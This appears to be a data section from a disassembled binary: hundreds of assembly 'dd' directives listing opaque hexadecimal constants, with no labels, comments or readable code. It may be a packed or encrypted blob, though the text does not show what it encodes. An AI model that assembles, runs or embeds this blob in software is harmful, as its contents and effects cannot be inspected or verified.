		dd 2300DE8h, 6396C5h, 0A45CCF0Ah, 0DA05D6A7h, 66CC0100h
		dd 2B5EF98Bh, 880F1ED8h, 6A32F378h, 3E85080h, 582043C3h
		dd 448990C3h, 81043324h, 21001D09h, 98C35040h, 333CC58h
		dd 0AA07CA65h, 56304C7Eh, 0B58B2706h, 0A02B63E1h, 3A8507B9h
		dd 172336h, 0F055E7EAh,	19319D31h, 0C1835424h, 1AC8284Bh
		dd 333A91C0h, 0F4CC58FBh, 5AE928h, 7483FFEh, 0D93BF638h
		dd 0E5860F15h, 6011068h, 0EB8C661Fh, 0BC27789Ch, 0FB3EBB00h
		dd 0BD241329h, 0BF660187h, 0C1F66CE6h, 0A2F63004h, 524698A6h
		dd 88C35A1Ch, 16C45489h, 0C3524240h, 0CB48AA62h, 0B3AD3711h
		dd 17E4DC1Eh, 9D0CFF9Fh, 10890C2Ah, 3232F18Dh, 33556E5Bh
		dd 89F1C3E3h, 881B186Ch, 0C31D5545h, 6E418A38h,	5FD3C473h
		dd 0A40ACE80h, 1F699D09h, 0C32B5CC6h, 3D56465Eh, 8929F25Eh
		dd 46406674h, 82C356h, 0B70F7EDEh, 8343DFFh, 22CD1CD0h
		dd 0FEBE0E10h, 0DB3C03E9h, 0FC10150Eh, 8B1C210Dh, 75BD86C0h
		dd 0C37A111Ah, 60E9D83Fh, 97F48D2Fh, 12CE8ACh, 0C7782ED0h
		dd 83097985h, 0C8555930h, 0D9B5B91Ch, 0E82A84FEh, 9A6B88h
		dd 796646C1h, 85892777h, 2833CD30h, 33BD815Fh, 0D00E03E5h
		dd 850F330Ah, 5364F152h, 0C8C35B61h, 448C5C89h,	5300431Ch
		dd 523873C3h, 0F2656Bh,	669444F8h, 0FF1EF3BEh, 60388550h
		dd 0C30181F6h, 0BD89410Ch, 18830B19h, 118E0F61h, 0E2E8533Dh
		dd 43E55A0Bh, 8B958088h, 747E0E22h, 0B54A5FFFh,	0E681002Ah
		dd 27F801BCh, 0B1202590h, 0A3E84811h, 0BA20DC80h, 44EBCF8Ah
		dd 903A82DCh, 1B11FF9Dh, 6E42AF80h, 0F012C472h,	0C304A965h
		dd 520A241Dh, 2C508B5h,	95080E24h, 8B5F0213h, 6CA0E9F1h
		dd 55DD3E45h, 9FAFDE02h, 40AC8C1Ch, 81152D0Ah, 2306DD0Fh
		dd 0D711311Eh, 151007E9h, 340DEA84h, 0CA379F90h, 6F5520FEh
		dd 57045014h, 0AB9B7353h, 94DAB81h, 5F616000h, 59B592C5h
		dd 1D3AA252h, 0E2001623h, 9531A161h, 2418502Dh,	5F398C57h
		dd 7C8911C3h, 478A1488h, 8B0FBA57h, 88CFC0FEh, 0C426EDBEh
		dd 1F08B9B0h, 0D921EE07h, 21B41156h, 0E0210271h, 0EB191871h
		dd 0DFFF6598h, 0F2BF0F09h, 0D23B10E9h, 21CF0085h, 1EF6ADE3h
		dd 1B00F5DDh, 2D9B9D97h, 1CE9BD0Ch, 68FFF866h, 8022E4C9h
		dd 0A0ADC18Bh, 9C9D1EE1h, 812BE434h, 1CEF3BEBh,	0D1A629A7h
		dd 69F1816h, 9D898367h,	8D185531h, 51AD3985h, 0B5011F60h
		dd 841CECD1h, 83175AB8h, 8BF09009h, 0AE0FBEDEh,	6B11EE6Dh
		dd 0D4D22F50h, 8C15B871h, 0E968B80Ch, 41150Ah, 0CA2C5F2Eh
		dd 2A7F61D8h, 0EBC86DB8h, 0C359C351h, 634C8991h, 5141805Ch
		dd 36E8C3h, 9A0FDEB5h, 27739F6Ch, 0EAFEAECAh, 0F0137560h
		dd 0DFF7009Ah, 0E270AD8Dh, 9806B35Bh, 0ACC8138h, 0D1339980h
		dd 5E1817h, 0BEAF645Dh,	6AB6944Dh, 0FDE7B5A0h, 6A09602Bh
		dd 7662358h, 6405607Ch,	0BFC130D7h, 0F60781BEh,	0C0835271h
		dd 11C11DDBh, 7788515h,	8014E008h, 6FDBBF29h, 581D5FBAh
		dd 7A801B2Dh, 0AA6E4A78h, 2C38EC2Fh, 99EBCF3h, 3C00B002h
		dd 5E572404h, 0EC136A58h, 38388C1Bh, 0B07802D6h, 6147E6EEh
		dd 223F7C7h, 0E73019E2h, 17DC381Eh, 2021A8ACh, 0C0E9776Fh
		dd 922FB20Bh, 4000B8EFh, 75329672h, 583DDAC9h, 9508241Bh
		dd 0BF240851h, 233C108h, 914C9D8Dh, 6480E589h, 0D3FF8607h
		dd 14D13A99h, 36985418h, 1085FE58h, 0E9252169h,	0BED99020h
		dd 31014258h, 10E50637h, 0E28B55F7h, 2FA66EE9h,	5DE02DE8h
		dd 0F1ED8112h, 5F6E3357h, 0B5FD8300h, 158D2953h, 0B632C41h
		dd 18B86C2h, 0A9523752h, 209D3B95h, 0E9601829h,	69FB5F13h
		dd 4FB10B00h, 145C9FEFh, 0D44600CFh, 0CBD3F0A2h, 8B183AB9h
		dd 0F3105E9h, 0C4250FACh, 0F883619Dh, 7186E381h, 270CE830h
		dd 0DED1FDh, 0F6BB3473h, 0A26F932Ch, 111C1594h,	0B5E1760h
		dd 966308DBh, 4B8037BBh, 0BD83FC00h, 9AFB51E2h,	30841C89h
		dd 1D91B39Fh, 69995480h, 91EE2E89h, 40906F06h, 0C425AFE9h
		dd 1631959Ah, 293DDC10h, 19D93A01h, 0F6050D18h,	0AB7C5FBEh
		dd 78EAA230h, 2BD7385Ah, 1295BD89h, 47692F24h, 1986B529h
		dd 6F879416h, 11770A52h, 0D710CE52h, 0DA00BD6Ah, 0A58F6DFh
		dd 1124D356h, 642C2260h, 4A8DDDC6h, 5C9740E8h, 6CA522B0h
		dd 400D4F2h, 0B7A1F999h, 48E5D647h, 65313D20h, 216159ABh
		dd 8F3F45CEh, 0C018885Ch, 8F5453AAh, 8A0FE114h,	0E7811F4Fh
		dd 4128C247h, 43FF2362h, 296098D9h, 81C95095h, 9B2B5C09h
		dd 61090820h, 1BDB8C66h, 0E06FC8E6h, 2AA40581h,	802BB22Eh
		dd 0F6A2EBF0h, 0A509C34Bh, 3D3F61h, 0B5419A22h,	2E00388Fh
		dd 0BE51E150h, 4B7B76F7h, 66A53075h, 702CC781h,	0BE04E3A8h
		dd 0E2D420E3h, 1C23EE3Ah, 0DDD3C205h, 122AA500h, 5DE927EDh
		dd 8B0E583Dh, 0B01B0F1h, 8B0FF9B5h, 2270E680h, 0C771E4C8h
		dd 631B445Bh, 53BC02DDh, 0B82D8FD0h, 37002B79h,	80986B67h
		dd 39E41DFDh, 0BA08047Ch, 1338222h, 0F5ED1A0h, 330CD8B6h
		dd 140585BDh, 0ADF9A4BAh, 7B74E01Fh, 3F3BACA9h,	0E85CD88Bh
		dd 0D9288C15h, 809CA31h, 5E8C1A7h, 2210860Dh, 1BF3259Bh
		dd 0E2F7C976h, 1B88584Bh, 0D8464BC0h, 3B2507EDh, 7B2B2070h
		dd 1611DF1Dh, 9583EB80h, 0E535B523h, 9B029912h,	6293797Ch
		dd 0FA6111B9h, 58BFDE40h, 0AF60FF28h, 0A898A69h, 639BE144h
		dd 77C780D3h, 87869935h, 16543A68h, 9346E5Eh, 0AB35E23h
		dd 1DE27C42h, 0EC5530h,	670B1B2h, 1CCDADD8h, 34236B0h
		dd 0FF7BF12h, 0E9648980h, 7B3A2530h, 80381C23h,	0CF70F089h
		dd 489550E2h, 0F911065Bh, 0F2487724h, 811662AAh, 613C0031h
		dd 7438830Fh, 0ECA85C02h, 0F5008C1Ch, 91666E8Eh, 50DED948h
		dd 5BBE1CBh, 29850965h,	13249525h, 8075DBAAh, 5559132Ch
		dd 9356E672h, 181559C6h, 0E8E525BCh, 5BEA30A0h,	20E39E3Bh
		dd 1312D400h, 51015F21h, 672745EBh, 0BC33C3F1h,	983015A2h
		dd 0D6F84966h, 1DBC035Ch, 5217008Ch, 0B4108C40h, 4412FC11h
		dd 83090198h, 91F23504h, 0AE48216h, 2329603Ah, 12F190FAh
		dd 3A58F78Bh, 182378h, 0BD03D24Ah, 8D1A291Ch, 0D2A00C39h
		dd 0FC4344D3h, 49A3B6h
		dd 3365EF04h, 1FC15C83h, 38C19ECh, 0F29A7DF8h, 50054207h
		dd 7F601BB0h, 0D2067DB4h, 0C0169B7Ah, 60BB5E27h, 6BE6484Ah
		dd 0C4F75D16h, 0BA6F9Ch, 299CF96Ah, 9E1EEDBDh, 3D9504F9h
		dd 9D881607h, 66F889A3h, 52204BCFh, 7E045h, 8A8BBDC0h
		dd 47405356h, 9B64C900h, 811A2F4Ah, 831309D6h, 6877E6Bh
		dd 10394BDh, 1855B589h,	625A696Dh, 6D296648h, 106CC746h
		dd 8773FFA9h, 0F5786B0Bh, 1316448h, 0D46F953Ch,	28C45185h
		dd 5EF5C4B7h, 24CF82C5h, 3CC01A88h, 2C228547h, 0A08517A8h
		dd 629EB4ACh, 403230D9h, 71C7F18Bh, 71949A85h, 7925241Bh
		dd 0CB00DE46h, 67C4F749h, 0BE8E0FAEh, 0C9BD4123h, 0A3464516h
		dd 0BE4CCAA7h, 1A467Eh,	87EE53A4h, 1AAF283Ch, 75A9B533h
		dd 2EA1A7D1h, 8E181671h, 0C04D8B2Ch, 0EE1EDFCAh, 966553D6h
		dd 17452E04h, 74A3900Ah, 0DD001846h, 0BCF94A75h, 1BC012E8h
		dd 9D09B89Eh, 0F01800EDh, 0B1B3A269h, 83053567h, 829AADFFh
		dd 8C0081F2h, 5C492EE3h, 0DC905E1Eh, 47A59678h,	0E16016C4h
		dd 0FBBCA8CDh, 417B15DCh, 6A014C84h, 2F68ABF0h,	0A2203388h
		dd 89CE3014h, 0FF098D26h, 0F11622ACh, 0DE02836Fh, 6DBD0B51h
		dd 0E6817D49h, 0D0C8E2F7h, 0E93D54F3h, 0F6B7170Fh, 0EE141D60h
		dd 1D760D5h, 57F985BDh,	10B163FCh, 0E3EE4B00h, 613768E7h
		dd 317F9060h, 894F2F55h, 46212A0Ch, 41842345h, 2C058Dh
		dd 0F79EE961h, 2488E3FFh, 74BB2BF5h, 0A034305Bh, 1A8854CBh
		dd 0B84127C0h, 20D918D2h, 54DB811h, 0F35AA4B6h,	0C215068h
		dd 3FA17101h, 8E885F5h,	8C55FCBCh, 92B88F2Dh, 56DD1900h
		dd 6CFF3C0Ch, 378F4A0Fh, 0D666AB22h, 19791EB9h,	41E69E18h
		dd 7DB03D04h, 0C2A0F98Bh, 1BB94B51h, 5C0569FEh,	0BB1B503h
		dd 98883617h, 7BFC10h, 52807D4Eh, 9E4778BEh, 0E95F6538h
		dd 610384A2h, 0D8F75A92h, 6FE9484Bh, 0F16BEE81h, 0D58F830h
		dd 2299CF00h, 0FF3692F4h, 603F01A6h, 904696EEh,	7397CA50h
		dd 0D6801A11h, 7A7137D2h, 8909EA71h, 90302D95h,	0BAC2E666h
		dd 0F38B37A5h, 0E7CEA008h, 435A5D4Ch, 0F160FA32h, 0ED92074Fh
		dd 0D252A0A7h, 130B5F7Bh, 6661F502h, 90FCE406h,	73D2270h
		dd 0BFD3FF01h, 5CBA1B49h, 9BD7F168h, 89E58186h,	2974FD9Dh
		dd 7D22DE9h, 0F27C0196h, 833A615Fh, 6D001523h, 1858935h
		dd 0D8FFB41Dh, 21BB0154h, 16F2FD8h, 1BD3808Eh, 7C6CBE85h
		dd 25ED104Dh, 0C1328B3Bh, 8D2E977h, 7E523D0Eh, 4E064024h
		dd 7964E322h, 99950BA5h, 13665148h, 14441FA7h, 17DAB062h
		dd 1B407A45h, 59F22DEh,	686BD83h, 3215B461h, 3F68188h
		dd 750C596Fh, 6F858CE9h, 72C23041h, 989B8BF7h, 4152D5Ch
		dd 143FC528h, 0BF024E01h, 52E9174Dh, 1BE42AE7h,	71E68060h
		dd 75F47B05h, 3626ADDBh, 0BD3D9726h, 87708B0Eh,	0E2C0FFB3h
		dd 907AC146h, 47EE829Bh, 601DC465h, 63C403h, 4C4F9870h
		dd 0F81FC84Eh, 8069CDB4h, 8509F75Eh, 3C0C41B9h,	0F08A56C8h
		dd 102B8614h, 241121BDh, 811DF57h, 63C9AC00h, 0BB864767h
		dd 5E715FF6h, 914FEBB4h, 8C804E76h, 0E79AB139h,	0F7E0CD9Eh
		dd 305099CEh, 58C95260h, 614DA8B4h, 0BD0559D4h,	10290FCCh
		dd 1A33A5BDh, 6043E2E9h, 0A2B0F8FEh, 0A9FD82C5h, 0E25E0517h
		dd 309100E0h, 71A4461Fh, 0E5F97829h, 0F2FBFCh, 0B30BA3BEh
		dd 70E6CAC8h, 1744B1A7h, 0FC829460h, 0C28CAF69h, 70C17B61h
		dd 0C212303Eh, 0DB01FDE7h, 572438AAh, 4D2E66Ch,	0F61F55D2h
		dd 0B8C74857h, 3E008C1Bh, 0E5252F5Bh, 2D5A1EBDh, 0D21A06BAh
		dd 8ACEE501h, 2FC3DDE3h, 0B300296Eh, 0DFD4D92Eh, 3C4F3A80h
		dd 90BF3203h, 0F8B1BCB0h, 123D19E9h, 1AA83490h,	365F018Ch
		dd 0BA5731E2h, 0C52B31F7h, 2FEB389Bh, 0F683108Ch, 0C6BC00ACh
		dd 53BF936Ah, 661C6B6Dh, 0E1A55650h, 0FBF65E1Eh, 63297062h
		dd 0C02D071Dh, 87E425h,	0E409C1E7h, 37C44795h, 901C2310h
		dd 5A2A2910h, 3E6B1775h, 69D55F04h, 971B35Dh, 191B870Fh
		dd 0CC1415DCh, 79034D46h, 240E290Ch, 0C1E6D84Eh, 0BAFF1F1Ah
		dd 14A712CFh, 2B0688A8h, 562819B5h, 467677B6h, 149B0018h
		dd 0F4616BCh, 2D1BDC8Eh, 1FDED23h, 89F22h, 26E52CDh, 0DC47DD90h
		dd 93C7592h, 330C2FB5h,	5282F276h, 0BE66098Ah, 5A0EA2DDh
		dd 0AA8AEFA1h, 413C2523h, 243CF00Ch, 8B4A0F35h,	3DF2F252h
		dd 0D3BF7103h, 0D088AC28h, 5D4FB523h, 4DD8424Bh, 624CC18Fh
		dd 392CF4D0h, 7750740Ah, 0BA8039C4h, 44A22034h,	58912476h
		dd 9DF605BCh, 6E4BA4D0h, 111E9F9Fh, 0D7C48119h,	0CFC9A665h
		dd 8B856B68h, 3668A1F1h, 9105F061h, 1433006Dh, 680EA5B4h
		dd 849CE9F8h, 0DAD78380h, 23877Bh, 45C9766Ch, 82A4192Bh
		dd 460867F0h, 8F0BE93Ch, 0E8205B27h, 0C5FEF7B3h, 26678C16h
		dd 16EF8D93h, 845F5127h, 596B6Ah, 0ECDDBF1Bh, 13AF277Ah
		dd 4AC9D2Eh, 559A6h, 10DBD681h,	22115A85h, 529AE71h, 7599FEECh
		dd 95F02866h, 0DC1EDBFEh, 0A206D922h, 44681C54h, 0C50EBF05h
		dd 0A01966CFh, 1A8E7DABh, 9531275Bh, 1E4128CAh,	2BB582F5h
		dd 448F0FC3h, 9D291385h, 3D31F199h, 234A8D98h, 70B89B69h
		dd 0B07BBD0Ch, 40517E0Bh, 215AE916h, 69C0359Eh,	8B6DEF4Dh
		dd 7641C05Ah, 18359D89h, 904A1929h, 52B1B787h, 95017B09h
		dd 0C0AFC955h, 0FE9E141h, 85A1F529h, 3777AF2Bh,	0FF700059h
		dd 0ED7D1D30h, 0B649F816h, 99F5548Ch, 5CAF48E0h, 0A0131546h
		dd 728AE7AFh, 0F172165Fh, 2052D990h, 0D49F0489h, 0C014D235h
		dd 0E202CF1Ah, 7FB4909Fh, 949A0127h, 96CB4AEFh,	171E6A19h
		dd 0ED9BDC52h, 0B8576384h, 5BC4806Eh, 31400Dh, 0BB8CB9A5h
		dd 2D2EFFEEh, 633A6100h, 0EB5459BEh, 5F5E2414h,	12CB3E4Dh
		dd 0E1F3F6C9h, 5268230Bh, 3C1EC780h, 36094691h,	0C1B9B589h
		dd 0F972E84Dh, 0D992E900h, 99EBB860h, 0FA77D607h, 0B710E36Fh
		dd 473F4C9h, 0B58B69EAh, 31FBF025h, 579601ECh, 0BD4F5F1Dh
		dd 4DF65319h, 1CABB400h, 0FC8E73D8h, 4DB40B9Fh,	3994C056h
		dd 0B5604Ch, 0E94EDF1Ch, 8D8B1261h, 0F41B23Dh, 89715BF7h
		dd 0FB4181F8h, 123E65E9h, 815CDBD4h, 826A2BA0h,	16BAAC4h
		dd 896FE0DDh, 2293985h,	8465D101h, 0A10699Dh, 0D508B360h
		dd 0C7B91220h, 3FB02953h, 0ED20958Bh, 8D210B1Ch, 1752337Dh
		dd 900BC520h, 52074476h, 0C1D8E2C1h, 32965AAAh,	7611A13Dh
		dd 0CCEAE003h, 0CEA41025h, 0BDBA0947h, 0C1A702CDh, 478B0514h
		dd 0E0E0814Bh, 837FDC2Bh, 1601E126h, 35530B11h,	0EDFE2F25h
		dd 0CFB5610Ah, 0D4A6A5B5h, 0B0D7A9E0h, 0A62938A9h, 0F4C31Ch
		dd 0B2584EDCh, 5E297CA5h, 0F8920530h, 4E614202h, 3A76E60h
		dd 0A2F54A19h, 3FD9E147h, 0F05A141h, 6E2BFD5Dh,	4A8D0AB4h
		dd 0A515F6E1h, 0BF6E5BCAh, 0B884F302h, 2240423Fh, 836244C8h
		dd 9122DA8h, 910007F1h,	7DF2A8D7h, 1EBC00DCh, 0FD023D8Bh
		dd 6909BD7Eh, 5027B5h, 7CB8666Fh, 9E5869F7h, 1CE4F067h
		dd 2541AA60h, 0FD82C700h, 80D473FEh, 43A90CEh, 0CDF359DAh
		dd 2426847Fh, 0B8DCA982h, 20D74AF8h, 29E2BE99h,	0A62E3472h
		dd 8B082BB1h, 11B48902h, 2A2B3A19h, 1D23603Eh, 0C1F56300h
		dd 902948Fh, 0CA961A2Eh, 130DF102h, 9F05D80Dh, 7DE47Bh
		dd 0DF86F39Ah, 3535702h, 5319D25h, 64485BFBh, 8727BB13h
		dd 23519E49h, 764B00DDh, 52051E6Eh, 0B688905Ah,	0F700DCC6h
		dd 0BC46E715h, 17B061A8h, 208D0FB5h, 6FB1BBD9h,	8E327524h
		dd 43CCB762h, 4B26B23h,	8FC0D4EDh, 2ECC645Ch, 3874939Fh
		dd 5AC81FA0h, 16ACA679h, 14D7B5C1h, 4B318F39h, 0B801E16Ah
		dd 74762138h, 890C8677h, 43890DBDh, 93C14A8Bh, 3D52B768h
		dd 0F6805E25h, 6E65C537h, 0F94B1624h, 23DAD4EBh, 0FB86476Eh
		dd 350BE24h, 2E8C30Bh, 9013A561h, 0B924859Bh, 1817F1D4h
		dd 28DA1F12h, 0A4D6C1ADh, 0AE0A55DEh, 10AF5256h, 1E05B714h
		dd 0CF9EECE1h, 94CE110Bh, 326BF120h, 7D0504F8h,	8B72300Eh
		dd 82F54A4Bh, 99DC5CCFh, 7B3F23A1h, 430F00ABh, 7BC23C41h
		dd 6ED16D8Bh, 0E85C69ACh, 727951h, 0C5E0D3B7h, 66045D3Eh
		dd 5AA98B78h, 6D30AF28h, 4112E017h, 0A612FBFDh,	47D23h
		dd 0FE101861h, 80CD9B5Ah, 606A9178h, 0B66C0263h, 85C7FC70h
		dd 0B2A1155Bh, 5C181AD1h, 0D1BF7F02h, 41B0EA28h, 527AFDD3h
		dd 7F6FFCh, 0FD1C3EA2h,	3520168h, 0ACF08160h, 2B905977h
		dd 33634DBDh, 9907EB61h, 0F3C2E99Dh, 3F0D8D9h, 0BDD8527h
		dd 70045B2Ah, 0C12F8B8Ch, 0C05D4D60h, 52A7F016h, 1AB97000h
		dd 517720EBh, 1DBD3C33h, 8B5E9661h, 0A22A23C0h,	802D311Ch
		dd 71D985A0h, 96977F44h, 0E7224713h, 8A33109Bh,	3B009E4Eh
		dd 88DD8373h, 1C43DADh,	148FCF5h, 8E02F18Dh, 92BD838Bh
		dd 751E4B5Ch, 32912B1h,	50197410h, 9B25369h, 894EE09Ah
		dd 10AD2D85h, 0AA61C2C8h, 0FF0A5F76h, 22585BD3h, 201017C4h
		dd 60A7F4F7h, 0FBA0BE66h, 0D0F0B736h, 0B2D0F9B5h, 8C1CE8E1h
		dd 0B5C83400h, 1B1AE5B0h, 0DE3D48A2h, 29D64E4Fh, 0CD90F5CBh
		dd 0BDB507C3h, 0C05B1EC4h, 5FF71A49h, 0F73F1BFh, 0B58BF009h
		dd 530C209h, 0D0524995h, 0C500436Fh, 0F0C11C42h, 71989BB8h
		dd 676CE8EAh, 0C5CF10B9h, 0A4174166h, 0A6067E1Eh, 53E81F5Eh
		dd 0B70F1029h, 8F7134FAh, 87B8A9FDh, 0F101754Eh, 23E8F911h
		dd 5CFC6199h, 2E86650Dh, 2000066Eh, 3AA1322Ah, 3402E7A3h
		dd 0C1BD0B5Fh, 0CB8A0022h, 0E859F88Bh, 289B5EB0h, 0D288DCC0h
		dd 0B51489C9h, 89D3263Dh, 3A66AA2Dh, 3CB600DEh,	6C910249h
		dd 0E648535Ch, 12AD1003h, 4D2BE827h, 1A70D053h,	0BEF7213h
		dd 0BB694B92h, 2A159F02h, 1BF15E8Eh, 2F695BE8h,	67889516h
		dd 0AF00DE94h, 604C873Eh, 5D84BB66h, 9944EAF2h,	25E83561h
		dd 0CB42086Dh, 8924490Ch, 3E048B17h, 88A9F381h,	6E76D0E3h
		dd 610C0B82h, 2841393Ch, 0CB2A217Ah, 8412C816h,	41A6F91Fh
		dd 0D2DB6481h, 0E8F8F04Ah, 3B055BE5h, 19142324h, 231077D1h
		dd 3018E287h, 8A2E9BA4h, 8D06EFC6h, 2DFF1F61h, 0F33D0598h
		dd 0E7D11D3Eh, 4E5F68Eh, 0BBF856B1h, 0F1CDB064h, 0E86E2E7Bh
		dd 135AAC00h, 9B96CD2Fh, 0D99D891Ah, 29914051h,	38C1C805h
		dd 8124F9A0h, 365340Bh,	7719060Ah, 532F211Ah, 64F87069h
		dd 65139809h, 252326EAh, 13FBC89h, 0EFE8D92Fh, 0F47A3E04h
		dd 0A094A50Eh, 9A1E7D43h, 60DD610h, 0A718C984h,	55A2A0C5h
		dd 0B93B078Dh, 0A0F2C851h, 21D9E9BFh, 0B3F9AB0h, 0AD03CEB5h
		dd 4C8BE85Fh, 627A91C9h, 1EA180B0h, 8D2B5700h, 181A9A35h
		dd 2F74E85Eh, 0F2E4F78Bh, 9529C580h, 6742266Fh,	8DCDCAAh
		dd 0B01C2515h, 42587D2Bh, 981502CEh, 2AF19529h,	0C9927E7Ch
		dd 3C2306E1h, 0DE3114A2h, 5ABD9D30h, 0C1FC481Eh, 81B390AFh
		dd 8D1202CEh, 0C38B5B04h, 3EDCC3DCh, 65002799h,	5772B3F5h
		dd 0D7A101C5h, 42AC0530h, 81E2DB5Bh, 3EC07292h,	2E3888D0h
		dd 120DAA91h, 0B2CE1F9h, 0C3178857h, 0D8A94788h, 31FCCA2Bh
		dd 72B59DC2h, 0CF99EA4Ch, 3365930Dh, 87E6E850h,	2B001F9Ah
		dd 5DF68Ah, 0F3FC06CCh,	935EE9C0h, 0D078569Bh, 0EDF13FBEh
		dd 71B5EB0Bh, 9980CF1Bh, 0C612FA3Ch, 57A7BA58h,	80129A4Bh
		dd 0C578DB1Ah, 6B221246h, 5D860E95h, 0F861E8D2h, 92048C15h
		dd 8D9589C7h, 0EC7454F8h, 1BBD21h, 8D9D1AFAh, 8A811711h
		dd 70AEC132h, 28457534h, 728804F9h, 462D2335h, 0F976A07Ah
		dd 0C45A207h, 0C51A37DCh, 530B6512h, 56090423h,	41CB9E9h
		dd 0A8D81B68h, 63B89F0h, 0B2DCCB88h, 452E4C59h,	7F6FB19h
		dd 8D2960F0h, 27493AC1h, 38CEC7EDh, 56B9BFh, 816DB707h
		dd 17B4F7F1h, 75AA1D66h, 79EB9BE7h, 85AA8552h, 0A4F41899h
		dd 61214005h, 2B02B8D3h, 90CFE4D7h, 0ABF58DA4h,	2D62CF8Fh
		dd 1DC19122h, 6E7B7775h, 0A55D1C09h, 4A14B981h,	7EAC2E62h
		dd 9A01DE34h, 6C7455D3h, 0B9A6FBB1h, 4CBB24D9h,	0A6B29ACh
		dd 70DB730Ch, 667FBBC4h, 0CE9FD32Eh, 56500611h,	0FB1A5285h
		dd 0BB21BF03h, 8759184Eh, 1FA0BC44h, 833BC974h,	0FE8B67A9h
		dd 0D489C22Ah, 0F87092BBh, 632F0089h, 983F4EEDh, 15229531h
		dd 0F41A5125h, 0BD695A62h, 88C0E1CDh, 9540D27h,	0D63E1C11h
		dd 29E54482h, 31BAC493h, 0F4CA5Ch, 0DE0512F2h, 0F0D45C5Fh
		dd 89E4D525h, 9779F2h, 0CA4C0B3Eh, 0C70EECF8h, 808E2C23h
		dd 2E645665h, 5EED2C4h,	350B7126h, 9D86B77h, 10830F16h
		dd 208D2307h, 0E9272F85h, 6067EFBDh, 424814C7h,	0E3DEC103h
		dd 5E271E80h, 14406E4Ah, 24C0B6A8h, 376983E9h, 0F4199E76h
		dd 0F22DA63Fh, 0CFF7C120h, 5E497A60h, 6D195F23h, 0DA009EB7h
		dd 89EF6937h, 0F2F85864h, 8A45454Fh, 9986FC5h, 2530AB9h
		dd 0D318618Ah, 254D256Bh, 34DCF541h, 9613C964h,	29698828h
		dd 852BD27h, 0C8441311h, 1120426Bh, 0F94A769h, 5B8C14E8h
		dd 0CE6EC2h, 257EB556h,	2752B6CEh, 732B860Fh, 0E1078D59h
		dd 56F0C57Ch, 289AB96Bh, 0B78A1F76h, 50F95718h,	845D09B5h
		dd 0B287ED63h, 82994CDh, 930CA3B8h, 40FB8B14h, 11BD2F0Bh
		dd 0E9583044h, 44858130h, 5DF26121h, 19641910h,	1720AF00h
		dd 0D6C09A3Bh, 6C051698h, 1B56F15Bh, 7E6EC095h,	0BA9128h
		dd 0BB664961h, 0F500165h, 2A028022h, 0BE83AFB3h, 0F100DC67h
		dd 8735290h, 4F9D2BC0h,	0BF032009h, 3835ADC7h, 41B60E03h
		dd 8F0F5FE0h, 0EFF9197h, 0D4A80B80h, 0CA1BC29Ch, 0F7247D02h
		dd 0C2134EB9h, 6B98DCF1h, 0A5719ED3h, 388A82D0h, 0C5DB8DD9h
		dd 0F03BA6A6h, 1B9CEFEh, 97DECD67h, 0CF0FDF8Bh,	0FF272370h
		dd 7F737D1h, 2EFE6CCBh,	81237DA4h, 50971E2h, 8793D9E0h
		dd 0AC601CE4h, 100525Eh, 77271214h, 2A9D8B95h, 73AB3065h
		dd 0FDB52C02h, 509084D1h, 8023EC52h, 68A0988Bh,	0D00C00CAh
		dd 4FFB044Eh, 0EE058489h, 5B564472h, 3831ED0Dh,	61600883h
		dd 47A585Ah, 3B58B6EEh,	4C73ED7h, 31BD3390h, 0C98F21AEh
		dd 787A2A14h, 0B4EBE50Eh, 975975C0h, 0F00B4BBBh, 0D10EE3E9h
		dd 214E625Ch, 0D4FDD412h, 0D1930E00h, 0BD2B3C94h, 0BD5DE6A1h
		dd 0A9848237h, 77C8E838h, 0EA2200BFh, 4C9D8E62h, 303DFDB4h
		dd 0F54D898Bh, 0DC3A890Bh, 8240AFB6h, 604E8AE2h, 1C231A3Ah
		dd 69961B00h, 1C2536D8h, 80A966F6h, 8341EB81h, 0B54ABD8Bh
		dd 0DFA0FC17h, 4125450Bh, 3326451Bh, 14072084h,	0B535FF64h
		dd 0D41FF58Fh, 0C84F0825h, 1A00FD23h, 0B7ED6243h, 2FC39C23h
		dd 5B6CD6ADh, 19AD70EFh, 3F98Ah, 103B8546h, 6D00B04Dh
		dd 0BDCEBA1Ch, 0FC7B39h, 0E9B2D496h, 0B5FF5B2Eh, 0A4B12DBEh
		dd 35220391h, 0E90D8531h, 0F85799D8h, 0FA3CDDD4h, 11951098h
		dd 1570E680h, 0F549BD23h
		dd 0B471E416h, 43C0B788h, 0D29E5BBh, 58B6F665h,	5D13F1C8h
		dd 0C7CDDC1Fh, 7C396B09h, 0C35038h, 83CEB966h, 612DEA80h
		dd 0E980AFB5h, 88E2D9h,	2B52E0BEh, 0D04697C8h, 23CB8001h
		dd 74E9D18Bh, 8C0F1585h, 8027EC05h, 8BB137E3h, 8BDC9C85h
		dd 4000DA8Ah, 76D78007h, 0F6EF0CDBh, 0D03B32DFh, 22914DAh
		dd 21D4D0Ah, 35853FE9h,	849B50BFh, 2927DC4Bh, 204BEDECh
		dd 448470CCh, 0CB078121h, 1EF4B10Bh, 1B01A5F5h,	59D89FEh
		dd 0E469BB57h, 0EA899F37h, 8D019F51h, 60BEC9B5h, 0C7BCA77Dh
		dd 8F07E500h, 763D57FAh, 0B5291358h, 3F04C9A5h,	4512116Eh
		dd 0D3F6E95Bh, 0F1878F9Ah, 8B335012h, 0B4EB9FAh, 0CA9B1DC5h
		dd 1FD36DCAh, 0FE5062F5h, 0B794FCC9h, 0EFA21DDCh, 0DA3B4D48h
		dd 0F44F404Ch, 7990FC16h, 2D153920h, 3BB7C02Bh,	0DCA1AD09h
		dd 0EABAC440h, 1523073Fh, 1BFA109h, 1358B8B4h, 69049121h
		dd 0E8003BCh, 0B8F71D32h, 850313E2h, 0C0CFBE66h, 0C680CCB5h
		dd 3AF83E5h, 33AD616Ah,	863DD1C2h, 4E985D0h, 0A73AF475h
		dd 0CF021723h, 7F03923Bh, 1A006837h, 0AFBFE22Eh, 1B7D4D45h
		dd 880DDF0Dh, 0BCF12924h, 1CF45B66h, 0BC89D2C8h, 1271C439h
		dd 0D4199545h, 0B85CF94Ch, 0E70C008Fh, 9952ED7h, 0EF098070h
		dd 0E48D0F02h, 55852DADh, 49200644h, 79507713h,	3181BC2h
		dd 4AFF08C1h, 5819B2C8h, 7A70AD53h, 3A6B05B9h, 0BC7E4175h
		dd 4A5A8091h, 0F1DA848h, 0D9FC7465h, 587C7E20h,	9113E620h
		dd 0EC01E8C8h, 5DAF9EF3h, 4169DB70h, 0DE087E31h, 7ED74087h
		dd 0E38C990h, 0C99E5BB8h, 6336BECCh, 68BD2925h,	0B9800F76h
		dd 0A8642F55h, 6E9C2001h, 0C38A8664h, 15CAC4h, 7324397Ch
